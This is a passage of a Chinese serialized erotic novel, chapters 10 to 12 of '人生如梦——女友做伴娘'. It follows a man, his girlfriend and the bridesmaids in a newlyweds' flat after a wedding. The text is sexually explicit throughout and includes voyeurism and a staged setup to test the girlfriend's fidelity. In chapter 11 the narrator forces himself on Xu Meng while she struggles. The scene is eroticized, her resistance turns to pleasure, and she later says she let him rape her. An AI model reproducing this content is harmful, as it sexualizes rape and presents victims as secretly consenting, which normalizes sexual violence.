来到了饭店,除了我们这伙人之后,好像还有一些婚礼上给新郎帮忙的一些同学之类的人吧,一共坐了不满三桌。新郎一番感谢言后,餐桌上便开始了一篇觥筹交错的景象。我也稀里煳涂的被灌了几杯,犹豫担心着还在新房的曈曈,想快点吃完走人,回去给曈曈带饭。所以几杯喝的有些急,稍有犯晕。便不再喝酒,闷头吃菜。

坐在我一边的徐萌,不停的给我夹菜,倒饮料。看出我的心思,便叫了些菜打包。

胡乱的扒拉了几口,拉着我去和新郎道了个谢,说是开车要送我回去送饭。新郎没有挽留,只是嘱咐徐萌开车要小心。

一路上并没有来时候的话多,但是因为少了:“徐萌,你不怕你对我那样,曈曈会生气么?”

徐萌关好车窗,随意的回答我到:“女人最了解女人了,我觉得曈曈不会生我的气。”

“你还真是自信啊,你们平时玩的都这么开么?”我觉得徐萌给出的答案说了等于没说。

“比这更疯。”徐萌似有深意的看了我一眼,这四个字出口之后,便一路无语。

回到了新房,曈曈开了门,我张开怀抱大吼一声:“老婆,我回来了!”曈曈装作惊喜的样子,猛的跳到我身上。

直到后面站着的徐萌调笑了一声:“这是上演小别胜新婚啊!”曈曈赶忙不好意思的从我身上下来,接过徐萌手中提着的饭菜,三跳两跳的跑到餐厅吃饭去了。

徐萌进了房子,说是要洗澡。便不顾我们的目光,脱的只剩下一身性感的内衣进了卫生间。我不怀好意的走到了正吃着饭的曈曈的身后,从后面捂住她的眼睛,一个手从裙子的领口伸了进去,抓住胸前的一只小白兔。指间在乳头上轻轻的摩挲着。曈曈一阵娇喘,这饭也是吃不下去了。

趴在曈曈的脖子上,闻到她身上还有着的淡淡的汗味,便问到:“怎么还没有洗澡啊?”

曈曈娇喘着:“嗯,老公,刚才梅婷吐了,我收拾了半天,又把她哄睡着。还没有来及去洗!”

我的手换到另外一只乳头上:“徐萌那个小淫妇进去洗了,你要不要和她一起去洗啊?我进去帮你们搓背啊。”

“老公坏蛋,就想着人家美女,是不是想把萌萌姐吃掉啊,那你去吧,不要碰我!”

曈曈假装生气的嘟起了小嘴。

我抽了一张餐巾纸,把曈曈嘟起的小嘴上的油擦干净,然后说道:“老公这就把你正法了,然后再去收了徐萌那个小妖精。”说着便一手捂着曈曈的嘴巴,一手沿着从那已经硬起来的小樱桃上,一路向下,摸向那湿润而又温暖的小穴中去。

“呜呜、呜、呜”,被我无助嘴巴的曈曈只能发出这种撩人心弦的声音,我不知道为什么,见到曈曈之后欲望又再一次被撩拨了起来,脑海中甚至还闪过了徐萌在浴室洗澡的片段。洗发水的泡沫沿着脸颊,流向了那对比曈曈还要雄壮的双峰之间的沟壑中。

隐约中还听到了哗啦啦的浴室的水流声。

人生如梦——女友做伴娘(10)

曈曈轻轻扭动着腰肢,伸出小香舌舔了舔我捂住她的嘴巴的手心,哼着似有若无的呻吟声。

出去吃了个饭回来的我,情欲已经散去很多。再加上半天之内的三次“演习”,让我没有了再战一场的冲动。可是靠近曈曈之后,似乎就闻到了她身上的春春的味道,忍不住要逞一番手口之欲。

曈曈突然挣扎着按住了我在她阴唇上滑弄的手,“不要,老公!我还没有洗澡呢,而且一会徐萌姐出来看到了。”

我嘿嘿一笑:“她连我都看了,看到咱们演春宫戏,只怕还会迫不及待的加入呢吧!”

“美的你!”曈曈把我的手拉出来,又继续向桌子上的食物进攻起来,“去洗洗手,老公!”

我用干净的手拧了拧曈曈的小脸,转身走开去洗手。水龙头呢,只有旁边的厨房和卫生间有。鬼使神差的,我没有往厨房那边走。其实虽然徐萌在卫生间里面冲澡,可是新房的卫生间是干湿分离的,话说我进去外间洗个手到也没有什么。 轻轻拧开了卫生间的门,我的心跳竟然有一丝加速。我倒不是想进去发生些什么事情,只是觉得这个场景有些暧昧了。一个陌生女人在隔着一层玻璃的地方洗澡,隐约可看到那团人影。不过我却是没有什么非分之想的。

刚把洗手液挤入手中,干湿分离的那层玻璃门被拉开了。看着正在拿毛巾擦头发的她,显然被吓了一跳,双手下意识的遮挡了一下胸部。她没有发现外间我在洗手,而我也没有想到恰巧不巧的她洗完没有关水就出来,里面喷头的水还在哗啦啦的响着。

看到是我,徐萌松了口气,放开了遮挡胸部的手,继续擦拭头发,白了我一眼说道:“想吓死老娘啊,进来也不支一声。现在不怕你家曈曈吃醋拉!” 面对着赤身裸体的徐萌,我还真不好说什么。看到她那么大方的站在我面前,我也放弃了偷偷打量两眼就出去的打算。你都不怕被我看,我一个大男人怕什么啊!

饶有兴趣的从上到下的把徐萌仔仔细细的看了一遍。皮肤比曈曈要黑一点,但是很均匀,光泽度很好。咪咪是要比曈曈大上一个罩杯以上,乳晕不大,但是乳头要比曈曈的黑一些。屁股也要比曈曈翘上一点。整体来说,曈曈如果属于柔软行的,徐萌就是很有弹性很有活力的那种。

其实就身材相貌来说,曈曈是惹人怜爱的,是会让你忍不住去疼的。而徐萌就是那种会够动你情欲,让你想要和她上床的那种女人。我心里暗想,不知道徐萌这样子,会不会是王哥他们调教的结果。

看着我肆意妄为的目光,强如徐萌也有些不好意思了起来。可能是为了摆脱这种尴尬的情形,她挑一下眉毛,给了我一个勾魂的眼神,突然走了两步,把卫生间的门反锁了。

这个举动倒是真的把我吓了一跳!曈曈还在外面吃饭呢,这个女人想干什么! 徐萌挺着晃动的胸部,一摇三晃的挪到了我的面前:“小邓子,想吃了姐姐么?”

我十分担心时间久了,曈曈会在外面喊我,心里已经没有了继续和徐萌闹下去的心思,正准备绕过她去开门。徐萌就突然撞紧了的我怀里:“凡哥哥,要是现在让曈曈看到这一幕的话,即使嘴上不说,肯定也是会生气的吧!”

“她都看过你给我打手枪了,也没见得生气!”我有些把握不出局面了,感觉有点热火上身的感觉!

“打手枪和这样子可是两种不同的情形啊,女人总会是吃醋的!我可比你了解女人的,要是让她看到你瞒着她和别的女人做爱,可是说不准发起疯来,什么事情都会做的。”徐萌拉着我的手向她的胸前摸去:“你不觉得这样有一种偷情的感觉,很刺激的么!”

我的性欲还真的没有涨起来,可能心中还是操心着曈曈,又或者是徐萌太过主动,反而无法带给我太大的刺激。当然我是不会承认自己射了三次之后就无法重振雄风了的。

徐萌的乳房的手感确实不错,比曈曈的摸起来要坚硬很多,当然我没有摸过除了她们之外的女人的,所以只能拿她们两个人比较。可能是刚洗完澡的缘故,也非常的光滑。虽然没准备继续发生什么,可我还是用力的揉搓了两下。

仿佛恶作剧一般的,我准备袭完胸便转身走人。谁知徐萌的一句话却将我留在了当场:“凡哥哥,你想知道曈曈找不到你会怎么样么?”

“能怎么样,我这么大个人又不会出什么事,找不到我就给我打电话了么!”我觉得徐萌这个问题很无厘头啊。

“咯咯咯,我进来的时候可是没有锁门的,一会王哥回回来!你想偷听曈曈和王哥说话么?”徐萌仍旧腻在我的怀里说道。

我嗅到了一丝阴谋的感觉,随即问道:“王哥怎么会回来?你们到底想做什么?

你为什么不锁门!”

看到我紧张的样子,徐萌轻轻的在我的耳边说道:“凡哥哥,当然是我打电话叫王哥回来的啊,我告诉她我要洗澡,没有人帮我擦背,咯咯,没想到凡哥哥先迫不及待的找我了!”

这个样子的徐萌像极了引诱着我堕入深渊的恶魔:“哥哥想啊,我想让王哥来,当然要留着门了啊。悄悄进来才能给我惊喜么!我们没有打算做什么啊,就是做爱~做的事情。你紧张个什么啊,只是你突然闯进来,我想到了一个好玩的游戏!”

“什么游戏?”我将信将疑的问徐萌。

徐萌舔着嘴唇:“想偷看王哥和曈曈单独相处会发生什么样的事情啊!嘿嘿,曈曈会不会背叛我的凡哥哥呢,王哥泡妞可是很在行的啊!”

“曈曈怎么可能背叛我呢!”我斩钉截铁的说道。可是内心却有些犹豫,至少曈曈的内心肯定是不会背叛我的。及时平时我们怎么样的热衷于性爱带来的快乐,可是毕竟那是属于我们两人之间的事情,曈曈不会是那种不分轻重的人的。 话说到了这里,我却真的很想知道王哥回来,如果和曈曈单独相处的话会发生什么。虽然我下午和曈曈做爱的时候,曈曈曾告诉我她和王哥说的话,说要惩罚我一辈子都不告诉我真相,但是我还是相信那些话是我们做爱时刺激对方的一种手段,而不可能真的王哥和曈曈发生过那些。

看出了我的犹豫,徐萌继续敲起了边鼓:“一切在你的注视下发生,要是你真的看到发生什么的话,可以去阻止啊,你是对曈曈没信心呢,还是对自己没信心?”

虽然这些话并不是十分能打动我,可是我自己却真的有些期待曈曈的表现了。于是对徐萌说:“好,我陪你玩。可是一会曈曈要进来洗澡,而且找不到我的话,肯定会找我的。”

“这些问题教给我了,你躲到客房去,看我的手势行动。”徐萌说着脱开了我的怀抱,扯过浴巾把自己凹凸有致的曲线的身体包裹了起来,在乳房上面打了个结。走出卫生间之前,还随手调戏了我一把。

徐萌走出去的时候,曈曈也吃完了东西,正在收拾碗筷。我听到曈曈问道我去哪里了,徐萌回答说我出去买东西了,可能是给曈曈买内衣。我甚至能幻想到曈曈听到这些话的时候脸红的样子。

“啪嗒。”一个碗或者盘子打碎了,听到声音,我立马反应上来这是徐萌故意的,在给我创造躲到客房的机会。于是我蹑手蹑脚的顺利隐藏到客房中,心中还狠狠的鄙视了自己一把,躲到这里创造自己老婆和别的男人相处的机会。 不敢打开门缝,怕露出马脚。只能听到隐隐约约的两个女人的对话声,还有时而发出的笑声。可能不到十分钟的样子,曈曈进卫生间洗澡去了,而徐萌来到了客房找我。徐萌仿佛饿狼一般,看到我就把我扑向了床边。

我有些不满的说道:“徐萌,你怎么一天和欲求不满似地,见个男人就想吃掉啊!”

徐萌立马变身,一副怒气冲冲的样子,指着我的鼻子:“老娘看的起你,你以为那个男的都能亲老娘的芳泽啊。投怀送抱你还嫌这嫌那的!要不是王哥让我招待好你,老娘犯得着么!黑子想要老娘多久了老娘都不带理的!”

一顿噼头盖脸的怒骂,到真把我镇住了,不过,果然和王哥有关系啊。否则徐萌怎么会这么主动的招惹我,显而易见的,王哥的目标当然是曈曈了!

徐萌的话证实了我一直的猜测,但是可能正式刚才徐萌对我的一番引诱,更让我想知道,曈曈究竟会不会上王哥的套。我前思后想了一番,觉得毕竟曈曈和王哥接触太少了,虽然接触的情形都过于暧昧,可我觉得也许认识的时间长了不好说,至少今天曈曈不会做出什么对不起我的事情。

我决定看下去。内心中竟然除了想证实我对曈曈的看法之外,隐隐还有一些期待。

正在我思索着怎么哄一下暴怒的徐萌的时候,王哥回来了。因为我们听到了他站在客厅里面叫徐萌的声音。徐萌果真没有锁上外面的大门。

王哥的声音并不大,而正在里面洗澡的曈曈肯定是听不到的。我突然想到,王哥如果认为里面洗澡的是徐萌而非曈曈,直接闯进去的话,那岂不是曈曈要被看光光了!

正在我纠结的要不要现身的时候,徐萌悄悄的开了一道门缝,正好能看见卫生间那边。果然王哥又喊了一声梅婷,看到没有回应之后,便向卫生间走去。 我的心跳立刻加速,内心正在天人交战。不过曈曈既然洗澡,肯定会把门反锁着。

想到这点,我激动的心还来不及平稳,就看到王哥轻而易举的推门进去了。 我猛的瞪了一眼在我的下面趴着门缝看的徐萌,不用问也知道一定是她捣的鬼了。

我正准备出去阻止事情的发生,徐萌说了一句:“你才曈曈会大叫一声,还是顺从的不叫呢?洗浴间的推拉门可是没有锁得哦,王哥一拉就开了。”

时间仿佛静止了一半,期望听到的惊叫声迟迟没有出现。而我的心逐渐沈了下去,沈下去的只是心情,心脏却跳的越发激烈了。

忍不住拿出手机,看了看时间。一分钟,两分钟,五分钟过去了,里面还是没有动静。只有徐萌戏谑的眼神看着我。这一刻我有些愤怒了,心却是疼的。 忍受不了徐萌目光的我,一把扯掉了她的浴巾。抱着她扔向了床上。

我在申请好市民代表,

感谢各位的爱心支持

人生如梦——女友做伴娘(11)

当男人第一次在第一时间发现自己的女人出轨,是什么心情呢?我想很难用语言来描述的吧。酸中泛着苦,苦中泛着涩,还缠绕着一丝想要偷窥的欲望。 扑向徐萌的我,只是想在这个女人身上进行报复,或者是发泄吧。我的灵魂却飘出了房间,似乎想要冲到浴室看个究竟,不断的撞击着浴室的门。肉和灵的分离,使我无法冷静的挺下来思索,丧失理智的我只是在徐萌身上做着最本能的动作。

大力的揉搓着她的乳房,看着在我手掌中不断变形的馒头,我幻想着浴室内,王哥是否也对曈曈做着同样的事情。该死的,我为什么不进去阻止呢?为什么曈曈连声惊叫都没有呢?真的像她说的那样,他们之间已经有了过分暧昧的关系了么!

无数的问题在我的脑海中回荡着,看到身下,被我肉虐的丰满的肉体。一阵强烈的刺激,让我手中的劲更大。徐萌的胸部、腰上、屁股上已经被的捏的红一道、肿一道的了。看到徐萌泛着泪光的眼睛,强忍着却不肯哼出声音。很疼吧!我心里暗想到。

也许徐萌那种楚楚可怜的卖相刺激了我野性的部分,我低声喘着粗气,迅速的解开了自己的皮带,退下了裤子。掏出了不知什么时候已经硬起来的阳具。看着徐萌有些闪着惊恐的目光,一阵报复的快感冲的我的头皮直发麻。

不顾徐萌的挣扎,一手把她的双手强行按过头顶,一手扶着麻木了的肉棒,没有任何前戏,用大腿顶开徐萌的双腿。不做任何润滑的插了进去。

瞬间,一阵麻爽的感觉传遍了我的全身。徐萌的小穴并没有很湿润,干涩的感觉挂的我的肉棒有些微疼。只插进去一半的我,因为疼痛感的传来,就停下了动作。徐萌还是微微的做着挣扎,也许是疼的,也许是被我的疯狂吓到了。眼泪一直在眼眶打着转。

装什么清纯啊,我心里暗想到!前面不是一直在我面前表现的因娃荡妇的样子么?

不是想要勾引我么?那我就让你如愿!不顾干涩带来的疼痛,猛然提枪直插到底。

徐萌终于痛的忍不住哼了一声出来,被压在头顶的双手挣脱开我的束缚,用力的推着我的胸膛。我分别抓住她的两只手,分在身体的两侧,强力的压在双上。胯下肉棒毫不留情的一下下猛烈地进行撞击。

没有几下,徐萌的小穴就开始泛出了水来。抽动更加的自如。而我反而没有了刚才干涩时强行插入的兴奋感。

看着慢慢由抗拒变为迎合的徐萌,眼中的泪滴却随着脸侧留下,舒服的表情却忍不住荡漾开来。

好像随着猛烈的气息逐渐减弱,理智也渐渐回到了我的身上。也许卫生间内有什么隐情呢?也许曈曈的惊唿声太小了?或者曈曈已经洗完了裹上了浴巾?或者根本王哥就没有进去,只是像我刚才一样在外间洗手!

我不断找着理由说服着自己。可是已经过了十多分钟了,卫生间里面还是没有任何的动静。或者,王哥在做着和我一样的事情!

想到这里,我只有着麻木抽插的肉棒开始有了感觉,眼前也似乎看到了王哥将曈曈按到浴室的墙上,肉棒疯狂的在曈曈的淫穴里抽插着,曈曈的柔嫩的阴唇在伴郎的肉棒下翻动着,白色的淫液沾满了王哥的肉棒和阴毛。

一心想要发泄的我加快了抽动的速度。徐萌也在我的带动之下,呻吟声逐渐变大了起来。

丝毫没有任何节奏的停留,越来越快的抽动,还有眼前幻想的情景让我不再压抑自己的性欲。或许感到了我的爆发将要来临,徐萌还是拼死挣扎,她的挣扎反而加快了我高潮的到来。死死的压住了她,将肉棒顶在她花心的深处,使我们的性具紧紧相连,看不到一丝缝隙,滚热的精子喷薄而发。

这一刻,我们两人都静下来了。感受着一股一股的精子,冲向她的花心深处。 愣了几秒钟之后,我的内心竟然有一些莫名的惶恐。面对尴尬的局面,徐萌并没有任何的表示,只是淫声娇喘的看着我。看着她的目光,我心中竟然有一些奇异的感觉,疯狂的在她身上发泄,丝毫没有顾及她的感受,有点对不起她。 徐萌似乎并没有怪罪我的意思,这个怪罪我理解成两个意思,一个是没有怪罪我几乎对在对她实施强奸,另一个是我只是在把她当做发泄肉欲的工具,在这个过程中,并没有给她带来什么快乐和满足。

小心翼翼的抽出已经疲软、安静下来的肉棒。一股白色的精液顺着徐萌微张的肉穴口中缓缓流下。我,竟然射了那么多么?每次射进曈曈的小穴里面,总是很难流出来的,除非量非常的大。

“去给我拿点纸。”徐萌的声音听不出是恼怒还是喜悦。我顺从的爬到旁边的床头柜上抽了几张纸。递给她一半,剩下的擦拭着自己黏黏的肉棒。

两个人都无声的擦干净自己的身体。我却还是在想着浴室里面的情景。徐萌翻过身侧躺着,背对着我不想说话的样子。而我也不想自讨没趣的找她说话,只好又趴在了门缝中向外看去。

拿出来手机看了看,王哥进去已经有二十多分钟的时间了。我有些烦躁,冲过去打开浴室门的想法不断的在脑海中壮大起来。可是看看床上躺着的徐萌,内心的复杂是在难以让人言语。

十几分钟就泄了,我不会被这个女人玩成早泄了吧!我竟然还有心思自嘲一下。

胯下有些酸痛的弟弟仿佛也在无声的抗议着。

心里能不复杂么?这是我的第一次出轨啊,在面对对曈曈的猜疑中,我第一次出轨了!

我的胡思乱想很快被王哥的出现打断了,他一脸奸笑的从卫生间走了出来,走出来的只有他一个人。盯着他径直的走向客厅中去。我几乎忍不住要拉开门出去质问。

强忍了很久,终于压抑下了这个想法,我要等到曈曈的出现。

五分钟之后,曈曈出现了。从卫生间走出来的曈曈竟然穿了一身新的纱裙,长短和以前的裙子差不多,只是要隐隐约约要通透很多,可以看到黑色的内裤和胸罩?

这裙子和内衣一定是王哥买给曈曈的,看着曈曈穿着别的男人买的裙子,穿着别的男人买的内衣内裤。异样的感觉充斥着我的全身。

曈曈也走向客厅去了。那边的角度我无法从门缝中看到,也不敢将门缝开的更大,只好附耳倾听。

“刚才是在不好意思啦,我不知道在里面洗澡的是你。”这是王哥的声音。 “没、没事的,也不能怪你。”曈曈的声音低的我几乎听不到,也许她正埋着头一脸的害羞。“不过你好坏,怎么能那样看人家。一会我老公回来了,别告诉他。以后不要再说这个了”

“好好,我们看电视,呵呵”王哥的话语落下,电视的声音便传了过来,播的是不知道哪部韩剧,配音的韩国味实在太明显了。

不知道是他们再没有了对话,还是声音已经被电视的声音盖过了,不管我怎么努力的听,都已经听不到任何他们的对话。而徐萌已经是背对我躺着,不知是否已经睡着。

我强耐着性子,站在门后一动不动的观察着。直到站的腿有些发酸了。突然听到了一阵脚步声,是曈曈的。我从门缝中看去,曈曈正在想走廊这边走来,当我看到曈曈泛红的脸颊的时候,她距离我只有两米多的距离。

这时候的我不敢把门缝闭合,害怕轻微的动响让曈曈察觉到,只好立马闪身到另一边的门后,心中默默祈祷着曈曈不要走进这间房间。也许是我的祈祷成功了,曈曈路过了我们的房间门,并没有好奇的推开进来,只是径直的走向新房主卧去。随着脚步声的渐小,我努力压抑的心才慢慢狂跳起来。真不知道如果被曈曈撞破这个房间的情形,会发生什么样的事情。

我狂跳的心脏还没有落稳,客房的门突然被推开了。这一惊之下,我几乎叫出声来。

看到是王哥,我心中喊着侥幸,却怨恨的看了他一眼。这个怨恨包含的内容实在很多。王哥似乎看了房间的情形也有一些惊讶。在床上凌乱的躺着的徐萌,仍然没有转过身来。

王哥顿了一下,好像装作什么事情都没有发生一样:“我出去一下,给梅婷买点醒酒药。你们有什么要我帮忙带的没有?”

我不说话看着王哥,想问,却问不出口。既然自己这么想知道刚才发生了什么,为什么还躲在这里!既然我连自己都回到不了,又怎么能够让他回到我呢? “给我带一盒毓婷。”床上躺着的徐萌说话了。

听到这句话,我的心好像被就揪住了一下。不敢再看王哥的目光,像做错了事情的小孩子一样,目光游离了开去。王哥很自然的应了一声,转身离去。 奶奶的!被他撞破,我就这么不好意思的,而他知道我在这个房间里,自然就明白我看到他走进了曈曈洗澡的卫生间,他就这么能装镇定的,我不得不佩服他的功力深厚。

回头对徐萌说了声“对不起”,依然没有回音,反正事情已经出了,我也打算破罐子破摔,只要徐萌没有告诉曈曈,怎么都好说,就算我欠她一次了。 走出客房,悄声的走到主卧那边。正看到曈曈拿着毛巾给梅婷擦脸。看到我走进来,曈曈似乎有些不好意思的样子,给我比划了个噤声的手势,然后拉着我走出了主卧。站在走廊里,曈曈说道:“别吵到梅婷,我刚给她擦身子呢。里面都让我脱光光了,你进去想吃人家新娘豆腐啊!”

我心想着:你都被那个王哥吃了豆腐了,怎么都不说。口中却没有点明,只是带点酸味的问道:“新衣服穿着怎么样?”

没有察觉到我语气的变化,曈曈的好像有点羞涩的样子:“你给我买的裙子怎么这么透啊!还买这么性感的内衣裤,从外面能看到呢。你,这么想让自己老婆给别人看的啊?”

“啊?啊!”我立刻反应过来原来王哥是以我的名义送给曈曈的。

曈曈继续说道:“买了还不自己拿上来,还让王哥给我带上来。让王哥拿着这,多难为情的。”声音似乎越说越小了,也许是发觉自己的心虚,最后一句话猛然将声调提了起来:“在外面磨蹭这么久干什么坏事去了?”

我倒是真的干坏事了,只不过没有在外面干。看到曈曈其实心里还是挺不舒服的,如果不是刚才她和王哥的事情,或许我会更自责一些。

我没有接曈曈的话茬:“王哥回来怎么给你的裙子啊?你不是洗澡着呢么?” 曈曈的目光有些游离,故意避开了我的眼睛说道:“哦,王哥把衣服给我拿到卫生间里面的外间,放在毛巾架上的。然后我洗完就出来穿上了啊。”

曈曈说谎的时候总会让人一眼就能看出来,我继续问道:“是么?王哥进去放了衣服就出来了么?”

“想什么呢你!满脑子不正经的。”曈曈显然故意避开了我的问题,却不知这样的谎言在我的面前无比的脆弱。面对着这个深爱我的女人,我不知道如何是好。

很久以后我曾想起当初的这段情形,思索了很久依然无法给出自己答案。亲密的爱人如我和曈曈之间,是否应该存在善意的谎言?猜疑总是像一颗恶毒的种子,种到了心里面就很难拔出出去。而猜疑的根本不在于是否存在谎言,而是两个人之间是否能够完全的信任,而完全信任的基础是否又是彼此间的坦诚?那么善意的谎言究竟会保护对方,还是会种下恶果?

不管怎么样,我并没有打破砂锅问到底的追问下去。曈曈既然不想说,那么必然有她不想告诉我的理由。及时她真的想放纵一下自己的欲望,那岂不是我以前一直所幻想的么?只是我从来没有想过,自己是否真的能禁受起这种幻想成为现实的那一刻。

说到底,我才是导演这个剧本进行下去的最后黑手,王哥只是一个十分配合的演员罢了。此刻我只是想知道,曈曈内心中是否真的想出演这个角色。

“徐萌姐呢?怎么不见她了!”曈曈有些要打岔的意思。

我心中还是有点不自在的,和徐萌发生了这样的关系,其实并不是我的初衷。和曈曈在欲海中游荡了这么多年,我早已经没有了要为曈曈一辈子守身如玉的觉悟,和别的女人发生关系并不是我所抵触的,但同样没有那么向往,因为从来没有一个合适的机会。出去找小姐吧,我怕染病,而且我绝对达不到饥渴的要去找小姐的地步。或者说,这么几年来,和曈曈的生活足以满足我,只是我并不排斥和别的女人发生些什么,我只是说身体上,前提就是不会影响我和曈曈之间的关系。

所以我决定隐瞒:“不知道啊,好像说是累了要休息会的。”我的回答并没有引起曈曈的猜疑。

我在曈曈面前埋下了一颗善意的谎言,而我相信她在我面前同样是这么做的。只是这些善意的谎言会结出什么样的果实,我们就不得而知了。

王哥买衣服的水平还是很到位的,不得不佩服他眼光的老辣,胸罩内裤买的很合身,而白色的纱裙把曈曈衬托的可爱而又圣洁,隐隐透出黑色的内衣裤,有着说不出的诱惑。

我突然产生一种错觉,我的老婆被别的男人打扮的这么美丽,而我相信她的心却依然在我这里,一丝异样在心头跳动。忍不住将曈曈拥入了怀中,只是静静的抱着。

曈曈也用双手轻轻地环着我的腰,瞬间似乎像放下了什么般得浑身轻盈起来。安静的气氛很快就被梅婷的哼甯声破坏掉了,曈曈慌乱中拉着我的手走进了房间。 梅婷睡了一下午终于酒醒了,睡醒后的酒劲还未完全散去,从她紧皱的眉头就能看出这会估计是头疼欲裂吧。看到我们进来,梅婷挣扎的想坐起来,曈曈赶紧上前一步扶着她。

“知道自己酒精过敏还喝那么多,结婚还给自己找事呢!”曈曈开始数落起梅婷了,顺手拉起枕头靠在床头,扶着梅婷靠了上去。

“不像酒精过敏的样子啊,没有过敏反应啊。看起来像是喝多了,醉倒。”我插话到。

梅婷哼哼着说:“你来了啊,头疼死了。”

曈曈白了我一眼:“过敏就非要体现在脸上啊,身上起红点点你当然看不到。” 我打量着梅婷,她还穿着红色旗袍的礼服。由于曈曈刚才给梅婷擦拭身体,旗袍胸前的扣子全被解开了,隐隐看到里面泛着红的乳丘,应该是曈曈擦洗的时候,将梅婷的胸罩也去掉了吧,我还是忍不往不停往里面瞄着。

梅婷用手揉着自己的太阳穴,并没有注意到我的目光。曈曈却发现了我眼光的去处,并没有发怒或者说破,只是递给我毛巾:“去弄点热水洗一下。” 我被迫退出了房间,去卫生间洗毛巾。

来到卫生间,我又开始猜疑刚才这里究竟发生了什么事情,仔仔细细前前后后的把卫生间看了个遍,除了地上的下水口的几根长发,我找不到任何可以让我浮想联翩的痕迹。无奈的摇摇头,把脑袋中的疑惑甩出去。用热水洗了毛巾拿去给了曈曈。

梅婷丝毫没有注意到自己衣服的凌乱,只是闭目揉穴,哈哈,这个穴当然是太阳穴了。曈曈并未将我赶出去,而是直接拿了毛巾给梅婷擦擦额头、脸颊和脖子。不经意间将旗袍的领口又碰的张大了些。我在床边清晰的可以看到梅婷红嫩的半个胸酥。

曈曈和梅婷的关系一直很好,所以在学校的时候我边和梅婷比较熟识了。论相貌两人有些不想上下的意思,只不过类型比较不同。梅婷的鼻梁很高很挺,脸庞的棱角比较分明,很有意思混血二儿的意思,在学校中不乏男生追求,男友也是不是就会换掉一个。

熟识归熟识,可是看到梅婷这么私密的部位还是第一次。其实按照正常情况的我,这种情形下我早就避开了去,只是今天的我已经不是平常的我了。竟然饶有兴趣的站在那里看了半天。

“王哥出去买药了,一会就回来,吃点药过敏的地方就消了。”曈曈边帮梅婷擦拭着,边说道。

“今天都是你害的。”梅婷眼睛都不睁的说着:“都不替我挡酒,光顾着和你家小邓子快活了吧,伴娘的活都撂嚼子了”

曈曈又是白了我一眼,那意思分明就是说:都是你干的好事。看到我游移的目光,竟然转过身躯借着给梅婷拉展衣服的时机,将旗袍翻了起来有立马盖好,系上扣子。

翻开的那一瞬间,我绝对看到了梅婷一边的乳丘上的那个小樱桃。曈曈这个死妮子,绝对是故意的!

梅婷和曈曈有一句没一句的唠起了家常,我在一边听的无聊,又没有养眼的场面可以看,悻悻的走出了房间,悄悄的来到了客房中,准备看一看徐萌这个女人。

推开客房的门,看到靠着床头半坐着的徐萌,正点着一根女士香烟,白花花的一对玉兔,就暴露在空气之中。腰部以下搭着床上的毯子。

闭上门,我看着表情木然的徐萌,不知说什么好。总不能说我刚才不是故意强奸你的,你没有事吧之类的话。

徐萌吐了一口眼,斜着眼睛看着我,率先打破了平静:“你觉得我是一个荡妇么,人尽可夫?”

我没有回话,在我的周围很少接触到徐萌这样的女人,我分辨不来骚和放荡的定义。

徐萌幽幽的继续说着:“我男朋友为了生意,把我送到了一个胖的胸部比我还要大的男人的床上。从那以后,我就开始变成这样了。和那个男人分了手,我却更热衷于把男人玩弄于鼓掌之间,但是真的想上我的床确实很难的。要强奸我的,你不是第一个,不过你确是第一个成功的!”

我有些不知所措,只能站在那里静静的听着徐萌的诉说。

“王哥是真的对我好,而不是只为了玩弄我的身体。他是个多情的人,但我和他之间谁也不想绑住谁,只是在对方那里得到自己想要的,无论是身体的快感,或是感情上的慰藉。陆文帅只是个禽兽而已。而有的时候我却需要这样的禽兽。”梅婷掐灭了烟头,随意的扔在地上:“我看得出你是王哥这类人,只是你们的环境造就了完全不一样的你们,你喜欢曈曈,但是同时还想看别人玩弄曈曈,不过又舍不得。你是真的爱她,但是又太热衷于性爱的游戏。王哥也是这样,只是他不会真的只去爱某一个女人。”

我嘴唇动了动,想要反驳却说不出话来。

徐萌继续道:“我让你强奸我,是因为我确实对你有好感,喜欢不喜欢一个人,看两眼就知道了,不要问我为什么。你的人生我不干预,你会怎么处理和曈曈之间的游戏,我也不干预。我和你只是我们之间的游戏。你是一个适合做游戏的人,但暂时还不是一个合格的游戏者,因为你分不清感情和欲望的界限,其实又有几个人能分清呢?就连我们自己也分不清!”

“给我倒杯水吧!”徐萌结束了她的倾诉。

我端给徐萌一杯水,瞬间的觉得这个女人有点可怜。摸了摸她的脸颊,还是对她说了一句:“对不起”。

再次走出客房的门的时候,王哥拿着买好的药回来了。

人生如梦——女友做伴娘(12)

【人生如梦——女友做伴娘】(12)

王哥买了好几盒药,把其中一个小盒递给了我,当然是徐萌要的毓婷了。他朝着客房的方向擡了两下下巴,意思很明显了,让我给她送过去。我顿了一下,然后把药接了过来。总不能给王哥说"我刚强奸了她(虽然我觉得是她诱惑我这么做的,只是这样子的事情发生了,女人总是显得处在比较容易搏人同情的地位的),实在不好意思给她送药吧!"

没有理会我的尴尬,王哥只是拍了拍的我肩膀,然后走向梅婷和曈曈那边去。 我也不好多说什么,有些不好意思的又退回了客卧中。徐萌疑惑的看着去而复返的我。我只好解释道:"王哥买了药回来,让我给你拿过来。"

我正准备帮她拆开包装,她却出声阻止了我:"给我吧,先别拆开。"

现在不吃么?那岂不是意味着…。不知道是不是我多想了,偶尔我和曈曈做爱的时候,碰到不是安全期,又实在想射进去,就只好事后买药了。买了药回去一定会再狠狠的做两回的,反正射进去一次也是吃药,射进去两次也是吃药。曈曈也不太喜欢带套套做的感觉,所以通常我都是射在外面的,偶尔走火的时候,毓婷也是必须的救急之物。徐萌现在不吃,难道还想再做两回再吃么?

我的眼光又不老实的瞄想徐萌的裸露的胸酥上,这个小妖精,实在是个天生的尤物,看一看就能勾引男人的淫欲。说实话,肉体背叛了曈曈,但是我的负罪感还是很轻的,因为我知道不管是否和别的女人发生关系,我爱的、会去娶的、愿意和她过一辈子的就只有曈曈一人。也许正是这种想法淡泊了我的道德的束缚,让我逐步不再在乎曈曈的身体是否只属于我一个人,只要她的心只属于我一个人。 徐萌仿佛没有看到我灼热的目光,只是很随意的伸了个懒腰,对我指使到:"去把我的衣服拿过来,伺候老娘穿衣,衣服在卫生间挂着。"

仿佛得到了圣旨一般的我,屁颠屁颠的出去了。毕竟我还是不希望和我发生关系的第二个女人,会以仇视或者漠视的态度对我的。至于以后会怎么样发展,我并没有深虑。

拿了衣服给徐萌,我又去新房看梅婷怎么样了。吃了药的梅婷,精神稍微好一点了。虽然解酒药的效果不会那么迅速,但是毕竟也睡了一觉起来了。

